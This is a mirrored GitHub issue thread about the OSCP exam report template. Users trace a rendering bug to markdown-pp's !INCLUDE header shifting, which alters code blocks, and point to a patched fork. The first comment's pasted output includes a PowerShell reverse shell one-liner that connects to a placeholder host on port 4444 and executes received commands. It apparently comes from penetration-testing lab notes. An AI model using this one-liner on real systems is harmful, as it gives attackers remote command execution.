Coder Social home page Coder Social logo

Comments (7)

miguelangelnieto avatar miguelangelnieto commented on August 13, 2024

For some reason, it also tries to interpret some code:

$ markdown-pp lab-report.mdpp -o lab-report.md
Rendering: client = New-Object System.Net.Sockets.TCPClient('x.x.x.x',4444);stream = client.GetStream();[byte[]]bytes = 0..65535|%{0};while((i = stream.Read(bytes, 0, bytes.Length)) -ne 0){;data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(bytes,0, i);sendback = (iex data 2>&1 | Out-String );sendback2 = sendback + 'PS ' + (pwd).Path + '> ';sendbyte = ([text.encoding]::ASCII).GetBytes(sendback2);stream.Write(sendbyte,0,sendbyte.Length);stream.Flush();} ...
Rendering: _SESSION['user'] = ...

from oscp-exam-report-template.

thomfre avatar thomfre commented on August 13, 2024

I haven't seen this issue myself.

Just to ask the stupid question first: are you sure that you are wrapping all code in code blocks?

from oscp-exam-report-template.

miguelangelnieto avatar miguelangelnieto commented on August 13, 2024

Hi,

Yes, it is all wrapped. I run the following test:

cd /tmp
git clone https://github.com/thomfre/OSCP-Exam-Report-Template
cd Lab/Exercises
vi 1.1.1\ Exercise.md

Inside I append:

```c
#include <something.h>
```

Then I generate the PDF:

./generate-report.sh lab-report lab-report.pdf

The output PDF will have this:

##include <something.h>

Markdown 3.3.4
MarkdownPP 1.5.1
pandoc 2.9.2.1 Compiled with pandoc-types 1.20, texmath 0.12.0.2, skylighting 0.8.5

from oscp-exam-report-template.

miguelangelnieto avatar miguelangelnieto commented on August 13, 2024

It actually only happens on the last step, when lab-report.mdpp is used. So, something on this template breaks the code syntax.

from oscp-exam-report-template.

miguelangelnieto avatar miguelangelnieto commented on August 13, 2024

Found the issue, is the shifting of headers what is causing the problem:

!INCLUDE "Lab/Parts/05-exercises.md", 1

That will add an extra #, also to the ones that are part of the code. It does not ignore the code blocks. So, it is a bug in markdown-pp.

from oscp-exam-report-template.

miguelangelnieto avatar miguelangelnieto commented on August 13, 2024

Ok, last comment, I promise.

Looks like there was a pull request on the original markdown-pp project that was never merged. This pull requests fixes the issue INCLUDE not ignoring code blocks.

I have cloned the project, merged the pull requests and now the issue is fixed. In case you want to add a note to the README, this is the repo:

https://github.com/miguelangelnieto/markdown-pp

Well, thanks for your time! :)

from oscp-exam-report-template.

thomfre avatar thomfre commented on August 13, 2024

Thanks, added now!

from oscp-exam-report-template.

Related Issues (3)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.